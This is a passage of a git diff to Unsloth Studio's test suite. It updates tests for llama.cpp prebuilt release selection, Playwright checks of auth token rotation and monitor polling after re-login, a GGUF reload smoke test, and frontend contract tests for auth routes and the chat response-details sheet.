+        release = make_release(
+            [
+                make_artifact(
+                    x64_asset,
+                    install_kind = "linux-cpu",
+                    runtime_line = None,
+                    coverage_class = None,
+                    supported_sms = [],
+                    min_sm = None,
+                    max_sm = None,
+                    bundle_profile = "linux-cpu-x64",
+                    rank = 1000,
+                )
+            ],
+            release_tag = "llama-prebuilt-latest",
+            upstream_tag = "b9625",
+            assets = {x64_asset: f"https://published.example/{x64_asset}"},
+        )
+        checksums = make_checksums_with_source(
+            [x64_asset],
+            release_tag = release.release_tag,
+            upstream_tag = "b9625",
+        )
+
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT,
+            "iter_resolved_published_releases",
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+                [
+                    INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
+                        bundle = release,
+                        checksums = checksums,
+                    )
+                ]
+            ),
+        )
+
+        with pytest.raises(PrebuiltFallback, match = "no compatible Linux prebuilt asset was found"):
+            resolve_install_attempts("latest", host, "unslothai/llama.cpp", "")
+
     def test_macos_prefers_published_asset(self, monkeypatch):
         host = make_host(
             system = "Darwin",
@@ -1883,7 +2038,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1946,7 +2101,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -2009,7 +2164,9 @@ class TestResolveInstallReleasePlans:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(releases),
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+                releases
+            ),
         )
 
         requested_tag, plans = _fork_manifest_release_plans(
@@ -2043,7 +2200,9 @@ class TestResolveInstallReleasePlans:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(releases),
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+                releases
+            ),
         )
 
         _requested_tag, plans = _fork_manifest_release_plans(
@@ -2537,68 +2696,6 @@ class TestBlackwellCuda124Exclusion:
         assert kept == [cpu]
 
 
-# N.1c3. direct_linux_release_plan -- no silent CPU on NVIDIA hosts
-
-
-class TestDirectLinuxNvidiaCpuGate:
-    """A linux-cpu-only release on an NVIDIA host must raise (caller walks back to a usable CUDA line), not silently CPU-install. CPU-only hosts keep the CPU bundle."""
-
-    def _bundle_cpu_only(self):
-        return make_release(
-            [
-                make_artifact(
-                    "llama-b8508-bin-ubuntu-x64.tar.gz",
-                    install_kind = "linux-cpu",
-                    runtime_line = None,
-                    coverage_class = None,
-                    supported_sms = [],
-                    min_sm = None,
-                    max_sm = None,
-                    bundle_profile = None,
-                ),
-            ]
-        )
-
-    def _patch(self, monkeypatch):
-        monkeypatch.setattr(
-            INSTALL_LLAMA_PREBUILT,
-            "parse_direct_linux_release_bundle",
-            lambda repo, release: self._bundle_cpu_only(),
-        )
-        monkeypatch.setattr(
-            INSTALL_LLAMA_PREBUILT,
-            "detect_torch_cuda_runtime_preference",
-            lambda host: CudaRuntimePreference(runtime_line = None, selection_log = []),
-        )
-        monkeypatch.setattr(
-            INSTALL_LLAMA_PREBUILT,
-            "detected_linux_runtime_lines",
-            lambda: (["cuda13"], {"cuda13": ["/usr/local/cuda/lib64"]}),
-        )
-
-    def test_nvidia_host_without_cuda_line_raises_for_walkback(self, monkeypatch):
-        self._patch(monkeypatch)
-        host = make_host(driver_cuda_version = (13, 1), compute_caps = ["100"])
-        with pytest.raises(PrebuiltFallback, match = "no compatible Linux prebuilt"):
-            INSTALL_LLAMA_PREBUILT.direct_linux_release_plan(
-                {"tag_name": "b8508"}, host, "unslothai/llama.cpp", "latest"
-            )
-
-    def test_cpu_host_still_gets_cpu_bundle(self, monkeypatch):
-        self._patch(monkeypatch)
-        host = make_host(
-            nvidia_smi = None,
-            driver_cuda_version = None,
-            compute_caps = [],
-            has_physical_nvidia = False,
-            has_usable_nvidia = False,
-        )
-        plan = INSTALL_LLAMA_PREBUILT.direct_linux_release_plan(
-            {"tag_name": "b8508"}, host, "unslothai/llama.cpp", "latest"
-        )
-        assert [a.install_kind for a in plan.attempts] == ["linux-cpu"]
-
-
 class TestLinuxPublishedAttemptsNvidiaCpuGate:
     """Live fork-manifest path: an NVIDIA host whose CUDA selection finds nothing gets an empty attempt list (source-builds with CUDA), not the manifest CPU bundle. CPU-only hosts still get the CPU bundle."""
 
@@ -3447,8 +3544,9 @@ class TestLinuxArm64ForkFallsBackToSource:
         assert plans == ["plan"]
 
     def test_arm64_cpu_on_ggml_org_is_not_blocked(self, monkeypatch):
-        # CPU-only arm64 routes to ggml-org, so the guard must not fire; it reaches the
-        # iterator (empty here -> generic message).
+        # ggml-org is reachable only via an explicit --published-repo override now,
+        # but the guard must still not fire on arm64 there; it reaches the iterator
+        # (empty here -> generic message).
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_release_payloads_by_time",
@@ -3474,7 +3572,7 @@ class TestLinuxArm64ForkFallsBackToSource:
 
 
 class TestCpuFallback:
-    """--cpu-fallback drops GPU attributes so the host's OS/arch CPU prebuilt is selected, letting an arm64 GPU host install ggml-org's arm64 CPU build when its source build produced no binary."""
+    """--cpu-fallback drops GPU attributes so the host's OS/arch CPU prebuilt is selected, letting an arm64 GPU host install the fork's arm64 CPU bundle when its source build produced no binary."""
 
     _SETUP_SH = PACKAGE_ROOT / "studio" / "setup.sh"
 
@@ -3553,10 +3651,15 @@ class TestCpuFallback:
 
     def test_setup_sh_has_arm64_cpu_prebuilt_fallback(self):
         source = self._SETUP_SH.read_text(encoding = "utf-8")
-        assert "--cpu-fallback" in source
-        # Fallback targets ggml-org (only repo with an arm64 Linux build), gated on a
-        # degraded arm64 source build.
-        assert "ggml-org/llama.cpp" in source
+        # The arm64 GPU last-resort CPU fallback now pulls the fork's arm64 CPU
+        # bundle (app-<tag>-linux-arm64-cpu.tar.gz), not ggml-org's, and is gated
+        # on a degraded source build for arm64.
+        start = source.index("_ARM64_CPU_CMD=(")
+        end = source.index(")", start)
+        block = source[start:end]
+        assert "--cpu-fallback" in block
+        assert '--published-repo "unslothai/llama.cpp"' in block
+        assert '--published-repo "ggml-org/llama.cpp"' not in block
         assert "_LLAMA_CPP_DEGRADED" in source
 
 
diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index a53534acc0..065ba7a745 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -160,6 +160,15 @@ with sync_playwright() as p:
     # collapse run startViewTransition() which can leave <html> intercepting
     # pointer events for a beat after each route swap. See _playwright_robust.py.
     install_view_transition_killer(ctx)
+    system_requests: list[str] = []
+    ctx.on(
+        "request",
+        lambda request: (
+            system_requests.append(request.url)
+            if request.url.split("?", 1)[0].endswith("/api/system")
+            else None
+        ),
+    )
     page = ctx.new_page()
     # 60s default (was 30s): macos-14 under --single-process Chromium is
     # slow enough that renders/webfonts/lazy routes routinely crowd 30s.
@@ -380,6 +389,18 @@ with sync_playwright() as p:
                 fail(f"/api/auth/refresh wedged: {refresh_resp['error']!r}")
             refresh = refresh_resp.get("body") or {}
             token = (refresh or {}).get("access_token")
+            next_refresh_token = (refresh or {}).get("refresh_token")
+            if token and next_refresh_token:
+                robust_evaluate(
+                    page,
+                    """([accessToken, refreshToken]) => {
+                        localStorage.setItem('unsloth_auth_token', accessToken);
+                        localStorage.setItem('unsloth_auth_refresh_token', refreshToken);
+                    }""",
+                    [token, next_refresh_token],
+                )
+            elif token:
+                fail("/api/auth/refresh returned access_token but no refresh_token")
     if not token:
         fail("could not obtain auth token after change-password")
 
@@ -1169,6 +1190,13 @@ with sync_playwright() as p:
         fail(f"curl login returned no access_token: {login_body!r}")
     info("CLI obtained an access token")
 
+    browser_refresh_token = robust_evaluate(
+        page,
+        "() => localStorage.getItem('unsloth_auth_refresh_token')",
+    )
+    if not browser_refresh_token:
+        fail("browser refresh token missing before CLI rotation")
+
     change_proc = subprocess.run(
         [
             "curl",
@@ -1203,47 +1231,194 @@ with sync_playwright() as p:
 
     # /change-password revoked refresh tokens server-side (auth.py), so
     # the browser's /api/auth/refresh must now fail.
-    refresh_after = evaluate_fetch(
-        page,
-        f"{BASE}/api/auth/refresh",
-        method = "POST",
-        timeout_ms = FETCH_TIMEOUT_MS,
+    refresh_proc = subprocess.run(
+        [
+            "curl",
+            "-sS",
+            "-o",
+            os.devnull,
+            "-w",
+            "%{http_code}",
+            "-X",
+            "POST",
+            f"{BASE}/api/auth/refresh",
+            "-H",
+            "Content-Type: application/json",
+            "-d",
+            json.dumps({"refresh_token": browser_refresh_token}),
+        ],
+        capture_output = True,
+        text = True,
+        timeout = 15,
     )
-    if refresh_after.get("error"):
-        fail(f"/api/auth/refresh wedged: {refresh_after['error']!r}")
-    if refresh_after["status"] == 200:
+    if refresh_proc.returncode != 0:
+        fail(
+            f"curl refresh-token check failed: rc={refresh_proc.returncode} "
+            f"stderr={refresh_proc.stderr!r} stdout={refresh_proc.stdout!r}"
+        )
+    try:
+        refresh_status = int(refresh_proc.stdout.strip())
+    except ValueError:
+        fail(f"curl refresh-token check returned invalid status: " f"{refresh_proc.stdout!r}")
+    if refresh_status == 200:
         fail(f"/api/auth/refresh should fail after CLI rotation; got 200")
     info(
-        f"OK browser /api/auth/refresh now {refresh_after['status']} "
+        f"OK browser /api/auth/refresh now {refresh_status} "
         "(refresh token revoked) -- old studio session can no longer renew"
     )
 
     # ─────────────────────────────────────────────────────
-    # 17. Shutdown via the account menu. The "Stop server" action
-    # POSTs /api/shutdown, swaps in the "Unsloth Studio has stopped"
-    # placeholder, and /api/health goes unreachable shortly after.
+    # 17. Persisted monitor auth boundary, then shutdown. A monitor left open
+    # must stay dormant on /login and resume after successful authentication.
     # ─────────────────────────────────────────────────────
-    step("Shutdown via account menu")
-    # Re-login with NEW2 for a valid /api/shutdown token (CLI rotation
-    # invalidated the old one). The stale token can make the SPA auth guard
-    # abort this goto with ERR_ABORTED, or redirect to the same /login URL
-    # ("interrupted by another navigation"); resolve on domcontentloaded and
-    # tolerate either -- the pw-field wait below confirms we are on /login.
-    _tolerated_nav = ("ERR_ABORTED", "interrupted by another navigation")
+    step("persisted monitor stays dormant on /login and resumes after auth")
+    # Start fresh after the CLI rotation invalidates this browser session.
+    # Stay in the SAME context: macOS Chromium runs --single-process, where
+    # closing the last context kills the browser and a second context cannot
+    # be created. Open the new page before closing the old one; the context
+    # init script covers the new page.
     try:
-        page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
+        ctx.clear_cookies()
     except Exception as exc:
-        if not any(t in str(exc) for t in _tolerated_nav):
-            raise
-        info(f"goto /login interrupted ({exc!r}); password-field wait will confirm /login")
-    pw_field = page.locator("#password")
-    pw_field.wait_for(state = "visible", timeout = 60_000)
-    pw_field.fill(NEW2)
-    page.locator('button[type="submit"]').click()
+        info(f"WARN clearing stale session cookies failed: {exc!r}")
+    robust_evaluate(
+        page,
+        """() => localStorage.setItem(
+            "unsloth_monitor_overlay",
+            JSON.stringify({ state: { isOpen: true, isMinimized: false }, version: 0 })
+        )""",
+    )
+    # Auth tokens live in localStorage, and /login's guest guard redirects on
+    # their mere presence, so drop them before navigating.
+    try:
+        page.evaluate(
+            "['unsloth_auth_token', 'unsloth_auth_refresh_token']"
+            ".forEach((key) => localStorage.removeItem(key))"
+        )
+    except Exception as exc:
+        info(f"WARN clearing stale auth tokens failed: {exc!r}")
+    _fresh_page = ctx.new_page()
+    _fresh_page.set_default_timeout(60_000)
+    _fresh_page.on("pageerror", lambda e: page_errors.append(str(e)))
+    _fresh_page.on("console", _on_console)
+    try:
+        page.close()
+    except Exception:
+        pass
+    page = _fresh_page
+    login_system_request_count = len(system_requests)
+
+    # Re-login with NEW2 for a valid /api/shutdown token. Route changes can
+    # still abort or interrupt this navigation, so the field wait below is the
+    # final confirmation that we reached /login.
+    _tolerated_nav = ("ERR_ABORTED", "interrupted by another navigation")
+    # A slow CI runner can make this re-login navigation time out even with the
+    # server healthy, so retry the whole goto/wait/fill/submit sequence (mirrors
+    # the change-password retry above). wait_for_health is a diagnostic pre-gate.
+    wait_for_health(BASE, timeout = 30.0, info = info)
+    relogin_err: Exception | None = None
+    for _relogin_attempt in range(3):
+        try:
+            try:
+                page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
+            except Exception as exc:
+                if not any(t in str(exc) for t in _tolerated_nav):
+                    raise
+                info(f"goto /login interrupted ({exc!r}); password-field wait will confirm /login")
+            pw_field = page.locator("#password")
+            pw_field.wait_for(state = "visible", timeout = 60_000)
+            page.keyboard.press("Control+,")
+            page.wait_for_timeout(5_500)
+            if len(system_requests) != login_system_request_count:
+                raise AssertionError(
+                    "persisted monitor requested /api/system while /login was active"
+                )
+            if "/login" not in page.url:
+                raise AssertionError(f"login route reloaded or redirected unexpectedly: {page.url}")
+            pw_field.fill(NEW2)
+            # Wait on the login POST so a transient 4xx/5xx is caught and retried
+            # here, not swallowed until the out-of-loop composer wait.
+            status, _ = click_and_wait_for_response(
+                page,
+                url_substr = "/api/auth/login",
+                method = "POST",
+                do_click = lambda: page.locator('button[type="submit"]').click(),
+                timeout_ms = 30_000,
+                info = lambda m: print(f"[ui]   {m}", flush = True),
+            )
+            if status is not None and status >= 400:
+                raise AssertionError(
+                    f"login POST returned {status}; see console_errors={console_errors[:1]!r}"
+                )
+            relogin_err = None
+            break
+        except Exception as e:
+            relogin_err = e
+            try:
+                cur_url = page.url
+            except Exception:
+                cur_url = "<page closed>"
+            print(
+                f"[ui]   re-login attempt {_relogin_attempt + 1} failed: "
+                f"{type(e).__name__}: {str(e)[:200]}; page.url={cur_url}; "
+                f"page_errors={len(page_errors)} console_errors={len(console_errors)}",
+                flush = True,
+            )
+            if console_errors:
+                print(
+                    f"[ui]   first console.error: {console_errors[0][:200]!r}",
+                    flush = True,
+                )
+            if page_errors:
+                print(f"[ui]   first pageerror:    {page_errors[0][:200]!r}", flush = True)
+            try:
+                shoot(f"18-relogin-attempt-{_relogin_attempt + 1}-fail")
+            except Exception:
+                pass
+            if _relogin_attempt < 2:
+                # ERR_NO_BUFFER_SPACE needs the OS to recover socket
+                # buffers; back off 5s then 15s before retrying.
+                if "ERR_NO_BUFFER_SPACE" in str(e):
+                    backoff_s = 5 if _relogin_attempt == 0 else 15
+                    print(
+                        f"[ui]   ENOBUFS detected; sleeping {backoff_s}s "
+                        f"before retry to let OS recover socket buffers...",
+                        flush = True,
+                    )
+                    time.sleep(backoff_s)
+                # Replace the page if it died; otherwise next iteration's
+                # page.goto() handles the reload.
+                old_page = page
+                page = recover_or_replace_page(
+                    page,
+                    ctx,
+                    default_timeout_ms = 60_000,
+                    info = lambda m: print(f"[ui]   recovery: {m}", flush = True),
+                )
+                # A freshly created replacement page loses the pageerror/console
+                # listeners; re-attach so error tracking survives recovery.
+                if page is not old_page:
+                    page.on("pageerror", lambda e: page_errors.append(str(e)))
+                    page.on("console", _on_console)
+    if relogin_err is not None:
+        raise relogin_err
+    # Composer mount confirms the rotated session is authenticated. Kept OUTSIDE the
+    # retry: the loop breaks right after submit, so we never re-goto /login once login
+    # has set tokens -- that would hit the guest guard, redirect to /chat, and make a
+    # merely-slow composer look like a broken login.
     composer = page.locator('textarea[aria-label="Message input"]')
     composer.wait_for(state = "visible", timeout = 60_000)
+    monitor_deadline = time.time() + 10
+    while len(system_requests) == login_system_request_count and time.time() < monitor_deadline:
+        page.wait_for_timeout(100)
+    if len(system_requests) == login_system_request_count:
+        fail("persisted monitor did not resume /api/system polling after login")
+    if page.get_by_role("dialog", name = re.compile(r"^Settings$")).count() != 0:
+        fail("settings shortcut on /login left the dialog open after authentication")
+    info("OK persisted monitor stayed dormant on /login and resumed after authentication")
     shoot("18-relogin-with-NEW2")
 
+    step("Shutdown via account menu")
     acct_btn = page.locator('button[aria-label$=" account menu"]').first
     if acct_btn.count() == 0:
         fail("account menu button missing -- can't reach Shutdown")
diff --git a/tests/studio/playwright_extra_ui.py b/tests/studio/playwright_extra_ui.py
index 304de7a9af..209a8a06f1 100644
--- a/tests/studio/playwright_extra_ui.py
+++ b/tests/studio/playwright_extra_ui.py
@@ -256,7 +256,7 @@ with sync_playwright() as p:
     composer = page.locator('textarea[aria-label="Message input"]')
     composer.wait_for(state = "visible", timeout = 60_000)
 
-    # Detect chat-only mode (/api/health.chat_only): in chat-only mode /studio + /export redirect to /chat.
+    # Detect chat-only mode (/api/health.chat_only): /studio redirects to /chat while /export stays reachable and self-gated.
     health_resp = evaluate_fetch(
         page,
         f"{BASE}/api/health",
@@ -404,15 +404,19 @@ with sync_playwright() as p:
     # ─────────────────────────────────────────────────────
     # 3. Export route.
     # ─────────────────────────────────────────────────────
-    step(f"Export route ({'chat-only redirect' if chat_only else 'form fields'})")
+    step(f"Export route ({'chat-only self-gated' if chat_only else 'form fields'})")
     page.goto(f"{BASE}/export")
     page.wait_for_timeout(1500)
     shoot("07-export")
     if chat_only:
-        if "/export" in page.url:
-            soft_fail(f"chat-only mode should redirect /export -> /chat; url={page.url}")
+        if "/export" not in page.url:
+            soft_fail(f"chat-only mode should keep /export reachable; url={page.url}")
         else:
-            info(f"OK chat-only redirected /export -> {page.url}")
+            unavailable = page.get_by_text(re.compile(r"Export unavailable", re.I)).first
+            if unavailable.count() == 0:
+                soft_fail("chat-only /export did not show the export unavailable gate")
+            else:
+                info("OK chat-only /export rendered the unavailable gate")
     else:
         # Non-chat-only: verify the export-cta button + HF token field.
         cta = page.locator('[data-tour="export-cta"]').first
diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py
index 0843a2b447..275fe7ac57 100644
--- a/tests/studio/run_real_mlx_smoke.py
+++ b/tests/studio/run_real_mlx_smoke.py
@@ -403,10 +403,14 @@ def cmd_train(args) -> int:
     metrics["gguf_dir"] = str(gguf_dir)
     with Phase("save_gguf", metrics):
         try:
+            # q8_0 (the exporter default), not bf16: llama.cpp has optimized q8_0
+            # CPU kernels, whereas bf16 CPU decode is unusably slow on the runner
+            # and made the fresh-process llama-cli reload below time out. q8_0 is
+            # also what users deploy by default.
             model.save_pretrained_gguf(
                 str(gguf_dir),
                 tokenizer = tokenizer,
-                quantization_method = "not_quantized",
+                quantization_method = "fast_quantized",
             )
             gguf_files = sorted(gguf_dir.glob("*.gguf"))
             if not gguf_files:
@@ -565,30 +569,56 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int:
         raise SystemExit(f"no .gguf files in {save_dir}")
     gguf_path = gguf_files[0]
 
+    # Save/reload-integrity smoke (assert below only needs a few chars). The GGUF is
+    # exported q8_0 (see save_gguf) because llama.cpp bf16 CPU decode is unusably slow
+    # on the runner. Run CPU-only (-ngl 0), cap the context (-c 256, the model
+    # advertises 32768), and keep generation short; all env-tunable.
+    n_predict = os.environ.get("UNSLOTH_GGUF_RELOAD_N", "8")
+    n_threads = os.environ.get("UNSLOTH_GGUF_RELOAD_THREADS", str(os.cpu_count() or 4))
+    n_ctx = os.environ.get("UNSLOTH_GGUF_RELOAD_CTX", "256")
+    n_gpu_layers = os.environ.get("UNSLOTH_GGUF_RELOAD_NGL", "0")
+    reload_timeout = int(os.environ.get("UNSLOTH_GGUF_RELOAD_TIMEOUT", "420"))
+    argv = [
+        str(llama_cli),
+        "-m",
+        str(gguf_path),
+        "-p",
+        PROMPT,
+        "-n",
+        n_predict,
+        "-t",
+        n_threads,
+        "-c",
+        n_ctx,
+        "-ngl",
+        n_gpu_layers,
+        "--temp",
+        "0",
+        "--seed",
+        str(SEED),
+        "--no-warmup",
+    ]
     with Phase("reload_gguf", metrics):
-        proc = subprocess.run(
-            [
-                str(llama_cli),
-                "-m",
-                str(gguf_path),
-                "-p",
-                PROMPT,
-                "-n",
-                "24",
-                "--temp",
-                "0",
-                "--seed",
-                str(SEED),
-                "-no-cnv",
-                "--no-warmup",
-            ],
-            capture_output = True,
-            text = True,
-            timeout = 300,
-            # Hand llama-cli an immediate EOF; without it -no-cnv can still leave the
-            # process blocked reading stdin, which times out instead of generating.
-            stdin = subprocess.DEVNULL,
-        )
+        try:
+            proc = subprocess.run(
+                argv,
+                capture_output = True,
+                text = True,
+                timeout = reload_timeout,
+                # Newer llama.cpp keeps llama-cli in chat mode; exit after one reply.
+                input = "/exit\n",
+            )
+        except subprocess.TimeoutExpired as exc:
+
+            def _decode(stream) -> str:
+                if isinstance(stream, bytes):
+                    return stream.decode("utf-8", errors = "replace")
+                return stream or ""
+
+            print(f"  [reload:gguf] TIMEOUT running: {' '.join(argv)}", flush = True)
+            print(f"  [reload:gguf] TIMEOUT stdout:\n{_decode(exc.stdout)[:1000]}", flush = True)
+            print(f"  [reload:gguf] TIMEOUT stderr:\n{_decode(exc.stderr)[:1000]}", flush = True)
+            raise
 
     metrics["llama_cli_returncode"] = proc.returncode
     metrics["generation"] = (proc.stdout or "")[:1500]
diff --git a/tests/studio/test_auth_form_input_count.py b/tests/studio/test_auth_form_input_count.py
index dd582d17d1..4d5d72d20b 100644
--- a/tests/studio/test_auth_form_input_count.py
+++ b/tests/studio/test_auth_form_input_count.py
@@ -1,22 +1,27 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Pin the auth-form input-count contract on the change-password page.
+"""Fast source and runtime contracts for Studio's frontend authentication flows.
 
 PR #5490 added a third "Current password" input, regressing first-boot UX to
 three inputs; PR #5545 restores two by rendering it only when BOOTSTRAP is absent.
-These tests inspect the source directly (no Studio/browser/network); runtime is
-covered by tests/studio/playwright_chat_ui.py."""
+Issue #7114 covers auth redirects and the persisted System monitor; its browser
+lifecycle remains covered by tests/studio/playwright_chat_ui.py."""
 
 from __future__ import annotations
 
 import re
+import shutil
+import subprocess
+import textwrap
 from pathlib import Path
 
-AUTH_FORM = (
-    Path(__file__).resolve().parents[2]
-    / "studio/frontend/src/features/auth/components/auth-form.tsx"
-)
+import pytest
+
+REPO = Path(__file__).resolve().parents[2]
+FRONTEND = REPO / "studio/frontend/src"
+AUTH_FORM = FRONTEND / "features/auth/components/auth-form.tsx"
+AUTH_API = FRONTEND / "features/auth/api.ts"
 
 CONDITIONAL_OPENER = "{!hasBootstrapPassword && ("
 
@@ -161,3 +166,110 @@ def test_login_jsx_declares_exactly_one_password_input():
     assert len(pw_ids) == 1, (
         f"login JSX must declare exactly one password-typed input; " f"found {pw_ids!r}"
     )
+
+
+def test_auth_flow_routes_do_not_mount_global_settings():
+    root = (FRONTEND / "app/routes/__root.tsx").read_text()
+    assert "{!isAuthFlowRoute && <SettingsDialog />}" in root
+    assert "useSettingsDialogStore.getState().closeDialog();" in root
+    assert "if (isAuthFlowRoute) return;" in root
+    for route in ("login", "change-password", "onboarding"):
+        assert "isAuthFlow: true" in (FRONTEND / f"app/routes/{route}.tsx").read_text()
+
+
+def test_auth_redirect_targets_are_idempotent_and_concurrent(tmp_path: Path):
+    if shutil.which("node") is None:
+        pytest.skip("node not available")
+    probe = subprocess.run(
+        ["node", "--experimental-strip-types", "--version"],
+        capture_output = True,
+        text = True,
+        timeout = 5,
+    )
+    if probe.returncode != 0:
+        pytest.skip("node --experimental-strip-types not available")
+
+    source = (
+        AUTH_API.read_text()
+        .replace('from "@/lib/api-base"', 'from "./stubs.mjs"')
+        .replace('from "./session"', 'from "./stubs.mjs"')
+    )
+    (tmp_path / "api.ts").write_text(source)
+    (tmp_path / "stubs.mjs").write_text(
+        textwrap.dedent("""
+            let access = null, refresh = null, passwordChange = false;
+            export const apiUrl = (path) => path;
+            export const isTauri = false;
+            export const reset = (a = null, r = null) => { access = a; refresh = r; passwordChange = false; };
+            export const clearAuthTokens = () => { access = null; refresh = null; };
+            export const getAuthToken = () => access;
+            export const getRefreshToken = () => refresh;
+            export const mustChangePassword = () => passwordChange;
+            export const setMustChangePassword = (value) => { passwordChange = value; };
+            export const storeAuthTokens = (a, r) => { access = a; refresh = r; };
+        """)
+    )
+    script = textwrap.dedent("""
+        import assert from "node:assert/strict";
+        import { reset } from "./stubs.mjs";
+        const response = (status, value) => new Response(
+          value && JSON.stringify(value), { status }
+        );
+        const settle = () => new Promise((resolve) => setImmediate(resolve));
+        const load = (name) => import(`./api.ts?${name}`);
+        const locationAt = (pathname) => {
+          const assigned = [];
+          globalThis.window = { location: { pathname,
+            set href(value) { assigned.push(value); this.pathname = value; }
+          }};
+          return assigned;
+        };
+        async function redirectCase(path, requiresChange, name, repeats = 1) {
+          reset();
+          const assigned = locationAt(path);
+          let statusCalls = 0;
+          globalThis.fetch = async (input) => {
+            if (input === "/api/auth/status") {
+              statusCalls += 1;
+              return response(200, { requires_password_change: requiresChange });
+            }
+            return response(401);
+          };
+          const { authFetch } = await load(name);
+          for (let i = 0; i < repeats; i += 1) {
+            await authFetch("/api/system");
+            await settle();
+          }
+          return { assigned, statusCalls };
+        }
+        const login = await redirectCase("/login", false, "login", 2);
+        assert.deepEqual(login, { assigned: [], statusCalls: 2 });
+        const change = await redirectCase("/chat", true, "change");
+        assert.deepEqual(change.assigned, ["/change-password"]);
+
+        reset("expired", "refresh");
+        const assigned = locationAt("/chat");
+        const calls = { refresh: 0, status: 0 };
+        globalThis.fetch = async (input) => {
+          if (input === "/api/auth/refresh") calls.refresh += 1;
+          if (input === "/api/auth/status") {
+            calls.status += 1;
+            return response(200, { requires_password_change: false });
+          }
+          return response(401);
+        };
+        const { authFetch } = await load("concurrent");
+        await Promise.all([authFetch("/api/system"), authFetch("/api/system")]);
+        await settle();
+        assert.deepEqual(calls, { refresh: 1, status: 1 });
+        assert.deepEqual(assigned, ["/login"]);
+    """)
+    result = subprocess.run(
+        ["node", "--experimental-strip-types", "--no-warnings", "--input-type=module"],
+        input = script,
+        cwd = tmp_path,
+        capture_output = True,
+        text = True,
+        timeout = 30,
+    )
+    assert result.returncode == 0, f"stderr: {result.stderr}\nstdout: {result.stdout}"
diff --git a/tests/studio/test_chat_response_details_ui_contract.py b/tests/studio/test_chat_response_details_ui_contract.py
new file mode 100644
index 0000000000..8714951883
--- /dev/null
+++ b/tests/studio/test_chat_response_details_ui_contract.py
@@ -0,0 +1,103 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Static contract for the chat response-details action and metadata."""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+REPO = Path(__file__).resolve().parents[2]
+THREAD_TSX = REPO / "studio/frontend/src/components/assistant-ui/thread.tsx"
+DETAILS_TSX = (
+    REPO / "studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx"
+)
+REASONING_TSX = REPO / "studio/frontend/src/components/assistant-ui/reasoning.tsx"
+ADAPTER_TS = REPO / "studio/frontend/src/features/chat/api/chat-adapter.ts"
+CHAT_PREFS_TS = REPO / "studio/frontend/src/features/chat/stores/chat-preferences-store.ts"
+CHAT_TAB_TSX = REPO / "studio/frontend/src/features/settings/tabs/chat-tab.tsx"
+
+
+def test_assistant_more_menu_exposes_response_details_action():
+    src = THREAD_TSX.read_text()
+    assert "MessageResponseDetailsSheet" in src
+    assert "See response details" in src
+    assert "setDetailsOpen(true)" in src
+
+
+def test_response_details_sheet_uses_unsloth_sheet_and_key_sections():
+    src = DETAILS_TSX.read_text()
+    assert "SheetContent" in src
+    assert "Response details" in src
+    assert "MessageResponseModelBadge" in src
+    assert "showResponseModel" in src
+    assert "ChipIcon" not in src
+    assert "s.params.checkpoint" not in src
+    assert "Not recorded" in src
+    assert "min-w-0 break-words font-heading" in src
+    assert "toolCallsFromContent(message.content)" in src
+    assert 'label="Called"' in src
+    for section in ["Response", "Tokens", "Timing", "Tools"]:
+        assert f'title="{section}"' in src
+    for field in ["Model", "Provider", "Total", "Cache hits", "Enabled", "Called"]:
+        assert f'label="{field}"' in src
+
+
+def test_response_model_badge_is_user_configurable_and_rendered_once_per_message():
+    prefs_src = CHAT_PREFS_TS.read_text()
+    chat_tab_src = CHAT_TAB_TSX.read_text()
+    thread_src = THREAD_TSX.read_text()
+    reasoning_src = REASONING_TSX.read_text()
+
+    assert "showResponseModel: boolean" in prefs_src
+    assert "showResponseModel: false" in prefs_src
+    assert "showResponseModel: saved?.showResponseModel ?? false" in prefs_src
+    assert "Show response model" in chat_tab_src
+    assert "setShowResponseModel" in chat_tab_src
+    details_src = DETAILS_TSX.read_text()
+    assert (
+        "aui-response-model-badge pointer-events-none relative inline-flex min-h-5" in details_src
+    )
+    assert "cursor-text select-text" in details_src
+    assert "leading-5" in details_src
+    assert "after:top-full after:h-1" in details_src
+    assert "hover:opacity-100" in details_src
+    assert "group-hover/assistant-message:opacity-100" in details_src
+    # Pointer events gated behind hover/focus so the hidden badge stays inert when idle.
+    assert "group-hover/assistant-message:pointer-events-auto" in details_src
+    assert "group-focus-within/assistant-message:pointer-events-auto" in details_src
+    assert thread_src.count("<MessageResponseModelBadge") == 1
+    assert "hasReasoningParts" not in thread_src
